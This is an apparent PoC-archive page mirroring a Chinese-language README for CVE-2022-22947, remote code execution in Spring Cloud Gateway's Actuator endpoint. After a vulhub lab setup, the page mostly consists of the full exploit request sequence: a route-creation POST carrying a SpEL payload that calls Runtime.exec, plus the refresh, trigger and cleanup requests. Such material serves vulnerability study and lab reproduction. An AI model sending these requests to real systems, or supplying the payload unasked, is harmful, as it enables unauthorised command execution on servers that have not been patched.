Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-22947 PoC — VMware Spring Cloud Gateway 代码注入漏洞

Source
Associated Vulnerability
Title: VMware Spring Cloud Gateway 代码注入漏洞 (CVE-2022-22947)
Description:In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ , applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Readme
# CVE-2022-22947

> `Spring Cloud Gateway`是`Spring中`的一个`API`网关。其`3.1.0`及`3.0.6`版本(包含)以前存在一处`SpEL`表达式注入漏洞,当攻击者可以访问`Actuator API`的情况下,将可以利用该漏洞执行任意命令。

<!-- more -->

# 漏洞环境

```
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d
```



# 漏洞利用

向`routes`接口中发送如下数据包:

```shell
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}
```

![image-20220303145822027](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031458091.png)

看到以上数据包说明新增路由创建成功。

再次发送如下数据包,应用刚才添加的路由,触发`SpEL`表达式执行:

```
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329


```

![image-20220303150111513](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031501558.png)

请求刚才创建的路由,触发恶意代码

```
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


```

![image-20220303150238309](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031502353.png)

**注:删除如下路由**

```
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


```

![image-20220303150340287](https://gitee.com/greetdawn/blogImages/raw/master/img/202203031503333.png)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →